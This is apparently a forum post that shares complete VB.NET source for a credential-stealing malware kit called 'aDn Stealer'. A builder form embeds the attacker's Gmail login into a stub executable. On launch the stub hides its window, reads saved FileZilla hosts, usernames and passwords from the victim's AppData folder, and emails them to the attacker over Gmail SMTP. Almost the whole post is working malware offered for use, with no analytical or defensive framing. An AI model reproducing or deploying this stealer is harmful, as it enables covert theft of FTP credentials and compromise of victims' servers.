Stealer

' By Haunui Collin "aDn"
Soft:

Option Explicit On
Imports System.Text
Imports System.IO
Imports System.Net.Mail
Public Class Form1
    Dim dialog As New OpenFileDialog
    Dim stub, text1, text2 As String
    Const FileSplit = "@aDnStealerPasteBin@"

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        text1 = TextBox1.Text
        text2 = TextBox2.Text

        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
        If File.Exists("Server.exe") Then
            My.Computer.FileSystem.DeleteFile("Server.exe")
        End If
        FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
        FileClose(1)


    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage
        ProgressBar1.Value = 10
        smtpServer.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
        'using gmail
        ProgressBar1.Value = 20
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        ProgressBar1.Value = 35
        smtpServer.EnableSsl = True
        mail = New MailMessage
        ProgressBar1.Value = 50
        mail.From = New MailAddress(TextBox1.Text)
        mail.To.Add(TextBox1.Text)
        ProgressBar1.Value = 70
        mail.Subject = (TextBox1.Text)
        mail.Body = ("Testing Gmail was Successful.Build your server now!")
        ProgressBar1.Value = 90
        smtpServer.Send(mail)
        ProgressBar1.Value = 100
        MsgBox("Message has been sent. Check your Gmail.")
    End Sub

End Class

__________________

Stub:

Option Explicit On
Imports System.Collections.Generic
Imports System.Text
Imports System.Security.Cryptography
Imports System.IO
Imports System.Net
Imports Microsoft.Win32
Imports System.Net.Mail
Imports System.Runtime.InteropServices


Public Class Form1
    Dim filezillaPass As String = ShoitZilla()
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Dim options(), text1, text2 As String
    Const FileSplit = "@aDnStealerPasteBin@"
    Dim Lserver As String = IO.Path.GetFileName(Application.ExecutablePath)
    Dim vDirectory As String

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        text1 = Space(LOF(1))
        text2 = Space(LOF(1))
        FileGet(1, text1)
        FileGet(1, text2)
        FileClose(1)
        options = Split(text1, FileSplit)
        TextBox1.Text = options(1)
        TextBox2.Text = options(2)


        Me.Hide()
        Me.Visible = False
        Dim nl As String = vbNewLine
        Dim MailSetup As New MailMessage
        MailSetup.Subject = My.Computer.Name & ":"
        MailSetup.To.Add(TextBox1.Text)
        MailSetup.From = New MailAddress(TextBox1.Text)
        MailSetup.Body = filezillaPass
        Dim SMTP As New SmtpClient("smtp.gmail.com")
        SMTP.Port = 587
        SMTP.EnableSsl = True
        SMTP.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
        SMTP.Send(MailSetup)
    End Sub

    Function ShoitZilla() As String
        On Error Resume Next
        Dim FilePath As String = Environ("APPDATA") & "\FileZilla\recentservers.xml"
        Dim FileBuffer As String = vbNull
        Dim NL As String = vbNewLine
        FileBuffer = My.Computer.FileSystem.OpenTextFileReader(FilePath).ReadToEnd()
        Dim str As String
        Dim Output As String = Nothing
        Dim TempData() As String
        TempData = FileBuffer.Split(vbCrLf)
        FileBuffer = Nothing
        For Each str In TempData
            If str.Contains("</Host>") Then
                str.Replace("<Host>", "").Replace("</Host>", "")
                Output = Output & "Host : " & str & NL
            End If
            If str.Contains("</User>") Then
                str.Replace("<User>", "").Replace("</User>", "")
                Output = Output & "Username : " & str & NL
            End If
            If str.Contains("</Pass>") Then
                str.Replace("<Pass>", "").Replace("</Pass>", "")
                Output = Output & "Password : " & str & NL & NL
            End If
        Next
        Output = Output.Replace("<User>", "").Replace("</User>", "").Replace("<Host>", "").Replace("</Host>", "").Replace("<Pass>", "").Replace("</Pass>", "")
        ShoitZilla = Output
    End Function

End Class